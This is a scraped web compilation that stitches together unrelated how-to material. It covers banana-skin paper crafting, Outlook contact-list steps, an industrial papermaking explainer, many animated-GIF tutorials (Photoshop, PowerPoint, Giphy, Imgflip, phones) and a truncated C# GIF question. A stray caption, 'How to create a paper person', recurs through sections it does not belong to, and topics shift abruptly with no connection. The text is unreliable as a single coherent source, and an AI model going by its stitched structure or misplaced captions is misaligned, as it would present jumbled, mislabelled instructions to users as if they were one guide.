Place your papermaking mold and deckle in the bottom of a plastic basin with the glass frame facing up. Slowly pour the paper slurry inside the mold while concurrently raising the double frame so all the excess water in your paper mixture drains through. Make sure the paper pulp covers the entire surface area of the mold by hand-pressing it into place; this step will reduce the moisture content so it is easier to release your homemade banana paper sheet from its frame.

7. Cure the Banana Skin Paper

With a large damp cloth covering your table, place the mold/deckle on top so the deckle frame can be immediately removed, followed by the mold itself. What will remain is a somewhat solid sheet of recycled banana skin-paper pulp that must be cured before use. Allow it to dry for approximately 24 hours or until all water has evaporated.

Things You Will Need

Assorted shredded recycled paper

Papermaking mold and deckle

Large plastic basin

Blender or food processor (with a minimum 4 cup capacity)

Large damp cloth

Ideal recycled paper sources for this project include colored envelopes, comic pages, magazine advertisements, fast food wrappers, jar labels, wrapping paper and junk mail.

Create a homemade paper mold (also known as a mold and deckle) by removing the glass insert in one large picture frame and replacing it with metal mesh screen, taking care to secure the material around the perimeter with a staple gun. Then stack the second picture frame (with the glass still inside) directly on top of the screened frame.

If you like the idea of creating banana-based paper but don’t want to commit to the entire drying and rehydration process, you can purchase premade banana fiber from a papermaking supplier.

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How to create or edit a Group (Contact List) in Office 365 Print

Modified on: Tue, Jun 11, 2019 at 2:01 PM

Create a group (Old Version of the Outlook Web App)

You can create groups, also known as “Contact lists,” in Office 365. These are also known as personal groups, which are groups that are stored in your Contacts folder and can contain entries from your personal Contacts and from your organization’s address book. If you use the Old Version of the Outlook web app, see the directions immediately below. If you use the New Version of the Outlook web app, please scroll down the page until you see the heading titled “Create a Group (New Version of the Outlook Web App) for corresponding instructions.

1. First, log into the your Lesley email account via the Outlook web app at www.lesley.edu/email

2. To create a group, click on the People option the menu at the bottom left corner of the page.

3. Choose the button found on the top left side of the page.

4. Select Contact List from the drop-down menu.

How to create a paper person

5. This will open a blank group form. Enter the group name that you want and any notes. To add members, type the name of the person you want to add under the Add Members field. Office 365 will search for a match in your Contacts and in your organization’s address book. If a match isn’t found, you can search for that person. You can also type an email address directly in Members. Press Enter to add your selection to the group.

How to create a paper person

6. When you’re done, make sure to select Save to save your changes.

How to create a paper person

Edit a group (Using the Old Version of the Outlook Web App)

You can edit a group name, add members, and delete members. You can also make notes of any changes. When you’re done, make sure to select Save to save your changes.

1. Click on Your Contacts. Choose Contacts at the top of the middle column.

How to create a paper person

2. Select the group that you wish to edit. The group list will show in the right-hand column.

How to create a paper person

3. Select Edit from the top of the page if you wish to add or remove members from the group. How to create a paper person

4. To add a member, start typing the name or email address of the person that you would like to add to the list. Alternatively, select the X next to an already existing name if you wish to delete a member from the group.

How to create a paper person

Create a group (New Version of the Outlook Web App)

1. First, log into the your Lesley email account via the Outlook web app at www.lesley.edu/email

2. To create a group, click on the People option the menu at the bottom left corner of the page.

3. Choose the + New Contact button found on the top left-hand side of the page and select New contact list from the drop down menu.

How to create a paper person

4. This will open a blank contact list form. Enter the group name that you want and any notes. To add members, type the name or the email address of the person you want to add under the Add email addresses field. Office 365 will search for a match in your Contacts and in your organization’s address book. Press Add to add your selection to the group.

How to create a paper person

5. Don’t forget to select the Create button to save your changes when you are finished adding members.

How to create a paper person

Edit a Contact List (Using the New Version of the Outlook Web App)

You can edit a group name, add members, and delete members. You can also make notes of any changes. When you’re done, make sure to select Save to save your changes.

1. On the left side of the page, choose Contacts under Folders.

How to create a paper person

2. Select the contact list that you would like to edit and choose the Edit button at the top of the menu.

How to create a paper person

3. To add a member, start typing the name or email address of the person that you would like to add to the list into the Add email address field. Alternatively, select the X next to an already existing name if you wish to delete a member from the group.

How to create a paper person

4. Make sure to select Save in order to save your changes.

Discover how paper is made. Read a step-by-step guide to our recycled fibre papermaking process, including how paper is dried, the paper winding process and pulp preparation. You can also watch our video below.

Step 1: Our pulp and paper process

Paper for recycling is mixed with processed water and then stirred in a giant stainless steel vat, called a pulper, to make a fibre suspension. Impurities are removed using a series of screens, to ensure that we only produce high-quality paper that can be used to make high-performance packaging.

The pulp and paper process is important to reduce waste. Pulp is a by-product of papermaking, and our process produces high-quality results without being detrimental to the environment.

Step 2: Diluting paper fibres

How to create a paper person

Our paper machines remove water from the fibre solution. At the start of the papermaking process, the solution comprises of roughly 1% fibre and 99% water. Diluting the paper fibres this way allows us to make thin, uniform paper.

Step 3: Wire section

How to create a paper person

At the wet end of the paper machine sits the headbox, which distributes a uniform jet of watery stock.

The liquid falls onto the wire or forming fabric. Beneath the wire, foils (short for hydrofoils) remove water and improve fibre uniformity, ensuring that the fibres weave together in a tight mat.

The wire passes over suction boxes that vacuum out the water, leaving a soft mat of pulp that forms the paper sheet, also known as the paper web. By now the wire has travelled 30-40 meters. In a couple of seconds, the water content has dropped to 75-80%, and the web has lost its wet sheen.

Step 4: Press section

How to create a paper person The next stage of water removal consists of passing the paper web through a series of nip rollers that squeeze the water out of the pulp mat. This pressure also compresses the fibres so they intertwine to form a dense, smooth sheet. At this stage, the water content has reduced to between 45 and 55%.

Step 5: How our paper is dried

How to create a paper person

The paper web now travels through an enclosed space containing a number of steam-heated drying cylinders. They are warmed up to 130ºC using steam heat to ensure that the paper is now 80 to 85% dry.

Wet sizing solution is now applied to the paper in order to add a thin layer of starch to the surface. Starch contributes to stiffness and the bonding of the fibres within the sheet of paper.

After the sizing is applied, the paper passes through another set of heated drying cylinders. In all, the paper web may travel 400 meters through the dry end. In the process, it will lose roughly 93% of its water.

Step 6: Paper finishing

How to create a paper person To give the containerboard a smooth and glossy surface to optimise it for printing, the paper passes through a set of smooth rollers, which can be hard or soft, that press the paper, embossing a smooth face on the paper surface.

Step 7: Real-time quality control

How to create a paper person Producing high-quality paper depends on maintaining extremely fine control over the variables in the manufacturing process. The sheet of paper is now inspected by an automated measuring device that detects imperfections.

Step 8: Paper winding

How to create a paper person After completing its 500-metre journey, the paper exits from the paper machine and is automatically wound onto a jumbo reel, which can weigh 60 tonnes and be over seven metres long.

The jumbo reel is lifted by crane to a nearby winder, where the paper is unwound and cut into smaller rolls as ordered by the customer, then labelled for shipment.

Step 9: Paper testing

How to create a paper person On a regular basis, samples of containerboard are taken to our Quality Control laboratories, to ensure that our paper is the highest quality possible.

A Commitment to Papermaking Quality

We pride ourselves on producing high-quality paper using innovative, industry-leading solutions. Our papermaking process is central to that. Find out about our commitment to quality and how we’re leading the way below.

How to create an animated gif

June 26, 2022Cat-Diabeteshowwwww toooo dooo?

Animated GIFs are all over the Internet and social media these days, yet most people really don’t know how to make one. If you do know how to properly make one you probably realize it’s actually not all that easy, especially when using complex applications like Photoshop. (Of course, iPhone 6s Live Photos does make the process a little less tedious.)

How to create an animated gif Here’s how to save animated GIFs in seconds using anything on your screen | Shutterstock

One solution to this problem is to just use an application that records what’s on your computer screen and saves the footage as an animated GIF. This means you’d be able to convert anything from computer tutorials to moving videos into GIFs, so there’s no need to manually convert videos to animated GIF frames.

A free app for Windows or Mac called LICEcap can help out with this tremendously.

Turn Screen Recordings Into Animated GIFs

First, download the free LICEcap application. Do that by visiting the Cockos Incorporated website and scrolling until you get to the download links for either Windows or OS X.

Once you install the program, launch it to find that it looks like an odd, transparent window. Sure enough, that’s for a reason. Whatever is inside of that window is what LICEcap will capture and turn into an animated GIF.

Before you get started recording, explore some of the options you can edit ahead of time. At the bottom of the window you can edit the pixel dimensions of the recording as well as the maximum FPS, or frames per second. This determines how smoothly the GIF will play back.

Tip: Dragging the corner of the window to resize it will automatically alter the pixel dimensions to the new size of the window.

When you’re ready, click Record… to finalize some settings before the recording begins. In the dialog window you can choose the file name and save location ahead of time as well as other options like displaying the title frame or mouse clicks. You can also have the app automatically stop recording after a certain number of seconds, which you can enable toward the bottom of the window.

When you click Save, LICEcap will automatically begin recording the desired area after a three-second preroll. It’s an odd UI choice, so brace yourself for it to quickly start. Click Pause during if you want to stop briefly or rearrange the position of the window. Otherwise, when the recording is finished, click Stop.

Just like that, in the save location you should see a new animated GIF of exactly what you recorded on screen. Check out the creation courtesy of Guiding Tech’s YouTube channel.

Last updated on 02 February, 2022

The above article may contain affiliate links which help support Guiding Tech. However, it does not affect our editorial integrity. The content remains unbiased and authentic.

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Even if you can’t define a GIF, you’ve probably seen it before. It is the invention of the early Internet, but it is more popular today than ever before. In this article, we will describe to you in more detail what a GIF is and how to make an animated GIF.

Duplicate media files can clog your disk space and make your Mac run slowly as a result. That is why it is very important to scan your Mac for duplicate files regularly and remove unneeded duplicates. You can do this quickly and safely with the help of the application Duplicate File Finder by Nektony.

What is a GIF?

GIF is a digital image, usually animated, which consists of several frames that infinitely change in a cycle. In fact, a GIF file is just an image file. GIF is one of the popular digital image formats, along with JPEG and PNG. But GIF has a quirk – it can also be used to create animated images like the one below.

GIFs are considered to be animated images because they are not actually videos. Rather, they are more like flip books because firstly, they have no sound and secondly, the GIF format was not originally created for animation.

The GIF format was first published in 1987. They were very popular at the dawn of the Internet when YouTubedid not even exist and computers were not powerful enough to play HD videos. However, nowadays, it is still a significant part of the internet culture. In fact, GIFs may be more popular now than ever before. Giants like Instagram and Facebook have even made them an official part of their platforms.

How to make a GIF from a video online?

Bright, funny, and fast-loading GIFs are an essential part of blogs, websites, and social networks. GIFs have become a great way to digitally describe your emotions and moods.

If it happens that you cannot find the perfect GIF and you need to make one yourself, you should know that the choice of tools and applications for this purpose is extensive. Below we listed some of the GIF-maker apps and websites.

Best GIF-maker apps and websites:

Gify
Gifs
GIF Brewery 3
Gif Me! Camera Creator
GIF Toaster – GIF Maker

Despite the fact that there are a huge number of ready-made GIFs, creating your own is a simple matter and will only take a few minutes. You can create GIFs online using any of the GIF-maker apps mentioned above, but we will show you how to make a GIF using an example application called Gify.

To make a GIF from a video, you should go to the Giphy website and select “Create” in the upper right corner, which will take you to the editor. There you will see the option to upload your video or add it by pasting the video URL. You can enter media URLs from YouTube, Vimeo, and other resources.

How to create an animated gif

After you select the file, you should select the desired part of the video and the duration of the GIF.

How to create an animated gif

Now you can start styling your GIF by adding text, filters, or stickers. As soon as your GIF is ready, simply click on the Continue button. You can now share the GIF on social networks or on your website. To do this, just copy the link to the GIF.

How to make a GIF in Photoshop?

If you prefer not to use online tools to make animated GIFs, there are many ways to create them offline. The best offline tool that will give you full control over the process and ensure high quality is Adobe Photoshop. Let’s take a look at how to turn a video into a GIF using Photoshop.

To make a GIF in Photoshop follow the steps below:

Launch Photoshop.
Click on the File in the menu bar, select Import and select Video Frames To Layers…
Find the video you want to use and click Open.
Click OK to convert the video frames to a single-layered file.
Click on Window in the menu bar and select Timeline.
Click the Arrow icon and select Create Frame Animation. Then click the button to create a new frame animation.

How to create an animated gif

Click on the Menu icon in the upper right corner of the Timeline panel and select the Make Frames From Layers option. To preview the animation you can use the Spacebar.

How to create an animated gif

To loop your animation, you should click the Repeat menu from the bottom of the Timeline panel and choose Forever.

How to create an animated gif

Congratulations! Your animated GIF is almost ready. The last step is Exporting it from Photoshop. To do this, go to File in the menu bar and select Export -> Save for Web (Legacy)… In the opened window, you should change the following settings:

next to Present – choose GIF 128 Dithered,
set the necessary Width and Height in the Image Size section,
select Forever from the Looping Options menu.

How to create an animated gif

Now click the Save… button and select a download direction.

To make an animated GIF for free, open the Giphy website and select Create in the upper right corner -> enter the YouTube/other video link -> select the desired part of the video and the duration of the GIF -> add text or filters -> click Continue -> share the GIF on social networks.

Best programs to make animated GIFs are:

Gify
Gifs
GIF Brewery 3
Gif Me! Camera Creator
GIF Toaster – GIF Maker

With the Photoshop app, you can turn any video or even a series of photos into animated GIF files. This format is especially popular nowadays for sharing your emotions and mood in social networks.

How to create an animated gif

What you’ll need

In this tutorial, you’ll learn how to turn a series of photos into a looping animated GIF using Photoshop.

This technique works well for creating a timelapse animation using series of photos taken from a DSLR or point-and-shoot camera, or even a mobile device. For this example, we’ll use a series of photos taken with burst mode from an iPhone. Download and unzip the sample assets above, or use your own sequence of photos.

Tip: You can also use this technique to create an animated GIF from a short video. Scroll down to the Optional Step 1 to learn how to start with a video file.

Import a series of photos

Open Photoshop and go to File > Scripts > Load Files into Stack.

Click Browse and locate the photos you want to use. While holding down the Shift key, select all the files and click Open.

Click OK to import the photos into a single layered file.

Note that a number of new layers have been created in the Layers panel on the right side of your workspace.

These individual layers will become the frames of the animated GIF.

How to create an animated gif

Optional: Import a video

If you’re starting with a short video, you’ll first need to convert the frames of the video into individual layers. Go to File > Import > Video Frames to Layers.

Locate and select the video file you want to use and click Open.

Click OK to convert the video frames to a single layered file.

Note: Photoshop may not be able to fully import a video that is too long. Use the options in the Import window to limit the amount of frames imported. You can select to import the entire video, or choose just a segment of the video. You can also limit the amount of frames imported to a set interval, such as every 2 frames.

Open the Timeline

Go to Window > Timeline to open the Timeline panel.

Click the arrow on the button in the middle of the panel and select Create Frame Animation. Then click the button to create a new frame animation.

Convert layers into animation frames

Click the menu icon from the upper right corner of the Timeline panel. Click Make Frames From Layers.

This will convert all the layers in the Layers panel into individual frames in your animation.

How to create an animated gif

Click the Play button from the bottom of the Timeline panel (or press the Spacebar on your keyboard) to preview the animation.

Note: If your animation is playing in reverse, click the Timeline menu icon again and select Reverse Frames.

How to create an animated gif

Set the animation to loop

Click the repeat menu from the bottom of the Timeline panel and select Forever. This will create a looping animation.

How to create an animated gif

Click the Play button from the bottom of the Timeline panel (or press the Spacebar on your keyboard) to preview the animation.

Export the animation as a GIF

Go to File > Export > Save for Web (Legacy).

Select GIF 128 Dithered from the Preset menu.
Select 256 from the Colors menu.
If you are using the GIF online or want to limit the file size of the animation, change Width and Height fields in the Image Size options.
Select Forever from the Looping Options menu.

Click the Preview. button in the lower left corner of the Export window to preview your GIF in a web browser.

Click Save. and select a destination for your animated GIF file.

Congratulations! You have just created your animated GIF. Post it online to show it to the world.

Note that you can also use this technique for any layered Photoshop file.

With work that incorporates nature, street photography, and even skulls, Kendall Plant is a designer, art director, and content creator who brings her unique creative approach to Adobe as an associate creative director.

What you’ll need

Plant’s first step was creating variations of her initial drawing to show different states of motion and saving each as a separate file. Then she opened the first sketch in Photoshop and dragged the remaining files from her desktop into the document, pressing Return (or Enter) to place each file onto its own layer. Next, she clicked the Lock icon to unlock the original layer.

How to create an animated gif

Bring it to life

Ready to animate her sketches, Plant opened the Timeline (Window > Timeline), selected Create Frame Animation from the dropdown menu, and chose Make Frames From Layers from the flyout menu. If you’ve used the Timeline before, it may populate with empty frames by default. If this happens, click on the first frame and hold the Shift key while clicking on the last one. Choose Delete Frames from the flyout menu. Then you can choose Make Frames From Layers.

How to create an animated gif

Pace your animation

To give each frame the same timing, Plant clicked on the first frame in the Timeline and then clicked on the last frame while holding the Shift key. You can click on the down arrow in one frame and set the interval to 0.1 seconds — this will update all of the selected frames. Next, Plant chose Forever from the dropdown menu below the Timeline to make the animation loop continuously. You can preview the timing of your animation by clicking Play.

With PowerPoint you can save a presentation as an animated GIF which can be shared via social or other digital channels.

Set up your presentation, complete with any illustrations, animations, and transitions you want.

Select File > Export > Create an Animated GIF.

The default quality is Medium. Use the dropdown box to change it to a higher or lower setting, if you prefer.

Select the minimum Seconds spent on each slide. Time spent can be longer, but not shorter, than this minimum. See more details below under “Timing the slides.”

Select Create GIF.

PowerPoint will begin saving your presentation as a GIF, and it’ll notify you when it’s done. Processing time depends on the file size and quality setting. The end result will be a continuously looping .gif file.

Set up your presentation, complete with any illustrations, animations, and transitions you want.

Select File > Export.

In the dialog box, set the File Format to GIF and specify where the finished file should be saved.

The default quality is Medium. Use the dropdown box to change it to a higher or lower setting, if you prefer.

Select the minimum Seconds spent on each slide. Time spent can be longer, but not shorter, than this minimum. See more details below under “Timing the slides.”

Select Create GIF.

Timing the slides

When you save your presentation as GIF, you’ll specify the Seconds spent on each slide. This is a minimum duration that applies to all slides.

The default value for this minimum setting is one second.

If a slide in your presentation has animations or media that add up to more than the minimum duration, that is fine. The full length of those animations or media are recorded in the GIF.

If a slide in your presentation has no animations or media, or if they exist but are less than the minimum duration, the slide is recorded for that minimum duration.

Any timings you set for transitions between slides are additional and don’t count towards the Seconds spent on each slide.

Details about the finished GIF

The saved file will be a continuously looping GIF. PowerPoint doesn’t let you change it to a finite number of repetitions.

All animations, transitions, and media (such as video or GIF) on your slides will be included in the finished GIF file.

If your slides don’t include animations, transitions, or media, then the frames-per-second (FPS) rate of the finished GIF will be the inverse of the Seconds spent on each slide setting you choose when you create the GIF. For example, if the seconds spent on each slide is 1, that would be written in fraction form as 1/1. The inverse (for the frames per second) would also be 1/1 frames per second. If the seconds spent on each slide is 3, the fractional form would be 3/1, and the inverse would be 1/3 frames per second.

If a slide in your file is hidden, it will be skipped entirely when the GIF is created.

Make animated GIFs from video files , Youtube videos , video websites, or images

Rotate GIF Add Image Draw More Options

Play Count number of times to play the gif – 0 means loop forever

Forverse (Plays forward then backward, good for slow motion and for making looping less choppy)

Black and white / grayscale

Disable Dithering (smaller filesize, but color banding)

Use a single global color palette (reduces flashing/flickering, sometimes higher quality, a bit slower to generate)

Enable drag/drop & resize

Enable motion of text & images

Want to increase these limits and make smoother, higher quality gifs? Check out Imgflip Pro !

This image is NSFW (not safe for work)

Private (must download gif to save or share)

Remove “imgflip.com” watermark

Rotate GIF Add Image Draw More Options

Forverse (Plays forward then backward, good for slow motion and for making looping less choppy)

Disable Dithering (smaller filesize, but color banding)

Use a single global color palette (reduces flashing/flickering, sometimes higher quality, a bit slower to generate)

Enable drag/drop & resize

This image is NSFW (not safe for work)

Private (must download gif to save or share)

Remove “imgflip.com” watermark

Hot GIFs Right Now View All GIFs

How to create an animated gif

How to make a GIF

Select media type. To make a GIF from a video file on your device or a video URL, use “Video to GIF”, otherwise use “Images to GIF” to create a GIF animation from a series of still images.
Choose Media. Hit the upload button to choose files from your device, otherwise paste a URL if your media asset is hosted on a website.
Customize. Crop your GIF or add text, images, stickers, drawings/scribbles, and animations. Drag and drop your text and images for perfect positioning. Use the time range slider to make text or images only appear at certain times throughout your GIF. For video-to-gif, enable motion to make your text and images move across the screen to follow the objects in your animated GIF.
Create and share. Hit “Generate GIF” and then choose how to save or share your GIF. You can share to social media or through your phone apps, or share a link, or download the GIF to your device. You can also publish to one of Imgflip’s communities.

What can I do with this GIF maker?

What media sources can I make GIFs from?

Can I save my GIFs online?

Why is there an “imgflip.com” watermark on my GIFs.

The Imgflip watermark helps other people see where the GIF was created. We really don’t want your GIFs to look bad though, so we made it as small as possible while still being readable, and it will not even show up on tiny GIFs. You can disable the watermark completely with a Pro account, if you really need to have watermark-free images.

Why does my GIF not animate on Facebook / other social media website?

Facebook will sometimes decide to animate GIFs, and sometimes not. For best chances, make sure the width and height of your GIF are both larger than 200px, since Facebook tends to not animate small GIFs. Sometimes you have to click share, then exit out of the window, and then click share again. Other social media websites may have similar issues, because they can decide to handle GIFs however they want, outside of our control.

If your .gif file fails entirely to upload to another website or computer program but it works fine on Imgflip, then the site you’re uploading to may not fully support GIFs. You can sometimes fix this by changing the Filesize Optimization to “Basic” instead of “Advanced” in the More Options menu of our GIF Maker. This can increase file size but makes your .gif work with more programs. Shopify in particular has a bug claiming that optimized GIFs are corrupted.

Video to GIF

Which video formats can I upload?

Some of the popular supported video formats are flv, avi, mov, mp4, mpg, mpeg, wmv, 3gp, asf, swf, ogg, h264, rm. But there are hundreds more.

How can I create GIFs in higher quality?

Make sure the video resolution is 480P or higher for any videos you upload. GIFs will generally look great up to a width of 640px when using 480p video. Framerate (FPS) is also very important – a high framerate (above 15 FPS) will make sure your GIF plays smoothly. Imgflip Pro will allow you to create even higher quality GIFs by raising the limits on various settings.

How do I put audio/sound on my GIFs?

Imgflip supports sound on GIFs made from any video that has audio! To enable, you’ll need to be using an Imgflip Pro account, because our server costs are higher when using audio. Once enabled, your visitors to imgflip.com/gif/. will be able to toggle audio on and off using the sound button.

Images to GIF

How do I make a GIF from images?

Upload images. Click the upload button and select as many images as you want. To select multiple images you can use SHIFT, CMD, or CTRL, or tap and hold if using a mobile device. You can always add more later!
Arrange images. Drag and drop the images you selected until you get them ordered correctly. The Sort Images button will sort your images alphabetically (click twice for reverse order).
Adjust options. Adjust the Delay until the animation speed of your GIF looks normal. Remember to check “private” if you’re not going to share it online.
Generate. After making your GIF, you can download it and share the link with friends. If you’re logged in, your gif creation will be stored on your images page.

What can I do with this online GIF maker?

You can make slideshows from photos you’ve taken, create custom animations from your own creative drawings or clipart, or stitch together frames that you’ve extracted from a video. Endless possibilities! Our image-to-gif maker allows you to make unlimited high quality animated GIFs online for free, with lots of customization options, and with no limit on the number of images.

Which image formats can I upload?

Our GIF creator currently supports PNG, JPG/JPEG, and GIF files, as well as any other image file formats supported by your web browser, often including SVG, WebP, TIFF, BMP, and more.

Something not working? Do you have suggestions to make the GIF maker better? send feedback!

Documentary, For Photographers

May 12, 2022

How to Create Animated Gifs: Animate via Photoshop Layers

Today I want to talk about How to Create Animated Gifs that I recently have run on Instagram and on the blog. I open up all the images that have been sized and ready for my gif. In bridge I go to tools down to Photoshop and over to load them into Photoshop layers. So what this will do will take all of those images that I shot in a sequence with my camera and load them all into one document in Photoshop as layers.

They’ll stack them in order from how I shot them. And then you’ll see on the left I have a timeline. I get that from the animated up in the window. So I want to create a timeline, and as soon as it all loads, I click create video timeline, and then I shorten them all. I did three frames per image.

This illustrates how to create animated gifs showing a young couple kissing during golden hour.

And you can change this based on how fast or smooth you want your animated gif to be. But anyway, I go through this process with all of the images you’ll see. Each one is just three frames longer than the one before it, and real quick, I’ll just speed this up so you you don’t have to watch me do this for all of them.

But that’s the process. Hold on just a second.

How to Create Animated Gifs: Exporting Your Gif

Okay. So it’s wrapping that up. I’m going to go ahead and just save my document real quick. This isn’t how to create the gif. I just don’t want to lose this work. So just going to save this real quick. You can ignore all that. OK. So to create the gif, I go to file down to export and save for web legacy.

Give it a second okay. And here we’ll see. You’ll see. GIF. 256 colors. I like that set up. You can pause it there and if you need to to zoom in on that. But there we go. That’s all there is to it. So then I click save. I’m click OK. It might take a moment for it to render all that and then I’ll show you how it looks Now here we go.

And you can make it loop or just do it one time. But yeah. So pretty easy. I hope you enjoy that. And thanks for watching.

GIFs are an ideal file type to share quickly and easily online, in messages, and more. Capture facial expressions, actions, or artistic time lapses, and export the clip as a GIF for easy viewing across online platforms.

With Pinnacle Studio 23 and higher, you can now create and export videos as animated GIFs to ensure your perfect time lapses and reactions are customized to perfection!

Thanks for watching! We hope you found this tutorial helpful and we would love to hear your feedback in the Comments section at the bottom of the page.

What’s New in Pinnacle Studio 25

What’s New in Pinnacle Studio 25
How to Use Smart Object Tracking
How to Use Blend Modes
An Overview of the Audio Editor

Capture, Import and Export

How to Export Videos
How to Burn your Movies to Disc
How to Export Videos with Transparency
How to Create Animated GIFs in Pinnacle Studio
How to Use MultiCam Capture Lite
DVD Menu and Disc Authoring with Pinnacle Studio

Intermediate and Advanced Editing Techniques

How to Use Blend Modes
Creating Project Templates
Using the Title Editor
Create Custom Motion 3D Titles
Advanced Title Effects
Time Remapping in Pinnacle Studio
Add Motion with Pan and Zoom Presets
How to Create Animated GIFs in Pinnacle Studio
Nesting Clips in Pinnacle Studio
Three and Four-Point Editing
360° Video Editing
Using Keyframes for Greater Editing Control
Using the Multi-camera Editor to Sync and Edit Videos

Exporting Video as an Animated GIF

Once your video is ready for export, click on the Export tab to open the Export Settings.

Select Extension from the dropdown menu below the Same as Timeline checkbox, then select GIF from the dropdown menu that appears to the right.

You can now choose from the preset options for file size in the Preset dropdown, or select Custom to fine tune your GIF export with precision by exploring additional resolution options, enabling/disabling automatic loop play, or even adjusting the desired frames per second.

Note: Generally, GIFs are intended to be as small of a file size as possible to ensure it is easy to share, and quick to load on both phones and computers. Usually, preserving image quality is not as important with the emotion or reaction GIFs are intended to convey, so you’ll likely select from a smaller preset option. However, if your use case requires you to preserve detail and clarity, you can maintain the GIF at its original size with the GIF Original preset.

Upgrade to Pinnacle Studio 25 Ultimate and explore exciting new features and enhancements like Smart Object Tracking, Blend Modes, enhanced Audio Editor, and more.

With her B.S. in Information Technology, Sandy worked for many years in the IT industry as a Project Manager, Department Manager, and PMO Lead. She learned how technology can enrich both professional and personal lives by using the right tools. And, she has shared those suggestions and how-tos on many websites over time. With thousands of articles under her belt, Sandy strives to help others use technology to their advantage. Read more.

Want a great way to share your Microsoft PowerPoint slideshow on social media, your company intranet, or a blog? You can create an animated GIF of your PowerPoint presentation and share it with the world.

If you have PowerPoint for Microsoft 365 on Windows or Mac, creating an animated GIF is a piece of cake. Since the steps differ slightly, we’ll list them separately so that you can jump right to the platform you need.

Create an Animated GIF in PowerPoint on Windows
Create an Animated GIF in PowerPoint on Mac
Notes on Your Animated GIF

Create an Animated GIF in PowerPoint on Windows

Open your PowerPoint slideshow on your Windows computer and click File > Export.

How to create an animated gif

Under Export, choose “Create an Animated GIF.”

To the right, select the quality in the drop-down list at the top. It’s set to medium by default, but you can choose small, large, or extra large if you like.

Optionally, you can check the box for “Make Background Transparent.”

By default, the Seconds to Spend on Each Slide is set to one second. This refers to a minimum number of seconds per slide. If you have animations that are longer than the minimum, they will be included. Transitions between slides do not count toward this minimum. You can use the arrows to increase the number of seconds or enter a number in the box.

You can include all slides in your presentation, or a certain range of Slides, using the arrows or the number boxes.

With everything set, click “Create GIF.” You should now be able to see your new presentation GIF in the location you chose.

Create an Animated GIF in PowerPoint on Mac

Open your presentation in PowerPoint for Mac and click File > Export from the menu bar.

How to create an animated gif

In the Export window, choose a location in which to save the file. You can rename it if you like, and optionally, add tags. If you want to save it online, click “Online Locations” and pick your Place.

How to create an animated gif

In the File Format drop-down list, select “Animated GIF.”

The Image Quality is set to medium by default, but you can pick small, large, or extra large if you prefer. If you want a transparent background, check that box next to Background.

Another default setting is the Seconds Spent on Each Slide, which is one second. Like on Windows, this refers to a minimum duration spent on each slide, in which animations are included, and transitions don’t count toward the minimum. You can adjust this by using the arrows or by entering a number of seconds in that box.

You can use all slides in your presentation, or a specific range of Slides, using the arrows or the number boxes.

When you’re ready, click “Export.” Then, head to the location where you saved the file and grab your GIF.

Notes on Your Animated GIF

Here are just a few things to keep in mind for your animated GIF.

The finished GIF will continuously loop. This is not currently an adjustable setting.
Hidden slides will not be included in the GIF. Be sure to unhide those slides first if you want them in the GIF.
Media like videos or other GIFs, animations, and transitions will be included in the GIF.

Hopefully, this handy Microsoft PowerPoint tip helps you share your presentation quickly and easily wherever you like. You can also save a slide as an image if you’d like to give that a try!

You can easily transform photos and videos into GIF files to share with family, friends or the world at large.

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How to create an animated gif

Online “visual” reactions have come a long way since the first sideways smiley-face emoticon appeared four decades ago. Animated GIFs — those files showing a few seconds of choppy motion, like the one of Kermit the Frog flailing his arms excitedly — are ubiquitous in text messages, online forums and chat apps, thanks to the internet’s meme culture.

But animated GIFs don’t have to come from the internet: You can make your own GIFs from the photos and videos on your phone. And you may not even need extra software to do so. Here’s a guide.

A Bit About GIFs

While they resemble short video clips, animated GIFs have technical differences from videos. Both file types use a series of images to display motion, but GIFs don’t include audio, hence the captions you see on some of them. And the traditional GIF format (which dates back to 1987) supports only 256 colors, which are far fewer than many modern video formats — and even newer competing image formats like AV1, also known as AVIF.

Most GIFs are a few seconds long, play automatically on a loop and have joined emojis as versatile ways to express yourself online.

And GIFs are image files, which can make them easy to share in mail and messages. Some message and keyboard apps even include a GIF library for quick access in your conversations.

(What’s less clear about GIFs is how you pronounce the acronym. Like the peanut butter brand, or like “gift” without the t? The choice is fraught.)

Create a GIF With iOS

Third-party programs are plentiful, but before you head to the App Store, you may be able to whip up a GIF with programs already on your iPhone or iPad. For example, if you’ve captured a worthy shot with Apple’s Live Photos feature (which records the action 1.5 seconds before and after the picture) you can add effects and save it as an animated GIF.

Just go to the Photos app, open an image from the Live Photos album and tap the gray Live icon in the upper-left corner to add an effect like Loop or Bounce. To convert the live photo to a GIF, open the iOS Shortcuts app for automating actions, or get it from the App Store if you don’t have it already. Search the Shortcuts Gallery for the Make GIF shortcut and add it. Tap the Make GIF icon and select your live photo to convert.

The Shortcuts Gallery also holds a Convert Burst to GIF automation that you can use to transform a series of photos taken in burst mode and another, called Video to GIF, that converts video clips.

Create a GIF With Android

Options for making animated GIFs from photos on an Android-based phone can vary based on the hardware, software and carrier in the mix. Those with certain Samsung Galaxy phones may be able to use the GIF-making features for photos and videos in the free Gallery app.

If you use Google Photos on Android (or iOS), you can make an animated GIF from a selection of your pictures. Just tap Library, then Utilities and Create New. Choose Animation, select the photos and tap Create.

The burstlike “motion photos” captured on some Google Pixel phones can be converted into animated GIFs right on the device or with a third-party app. (Many Samsung Galaxy phones have a similar “motion photo” feature.)

For example, to make an animated GIF on a Google Pixel 4 XL, open Google Photos and select an image saved as a motion photo, or use the search tool to look for “motion photos.” (The Camera app’s settings need to have the Top Shot or motion setting enabled.) When you find a motion photo you want to use, select it and swipe up or tap the three-dot More menu in the top-right corner of the screen. Next, swipe along the row of icons to Export. Tap Export and select the GIF option to save the new file to your photo library.

Use a Dedicated GIF App

The free tools that came with your phone can quickly create a simple GIF, but if you want to add text, have more control over looping or even browse GIF archives for ideas, visit your app store. Many GIF-creation apps available, and the free Giphy software for Android and iOS is one of the best known; Giphy also has a huge archive of animated GIFs, its own GIF-making tutorial and a best practices guide.

If you find Giphy overwhelming, you have plenty of other choices. Many apps are ad-supported but charge a few dollars to ditch the advertisements. They include ImgPlay (for Android and iOS; $8 or less); Video to GIF (iOS; $2) and GIF Maker GIF Editor Pro (Android; $3). You can even make a GIF out of a selfie clip for a truly personal reaction shot — or just have fun with relatable animal behavior.

Does anyone know how to create an animated gif using c#? Ideally I would have some control over the color reduction used.

Is using imagemagick (as an external started process) the best choice?

How to create an animated gif

8 Answers 8

This Gif Animation Creater code from https://github.com/DataDink/Bumpkit can set Delay foreach Frame:

Uses .Net standard Gif Encoding and adds Animation headers.

EDIT: Made the code similar to a typical file writer.

How to create an animated gif

There is a built in .NET class which will encode GIF files. GifBitmapEncode MSDN

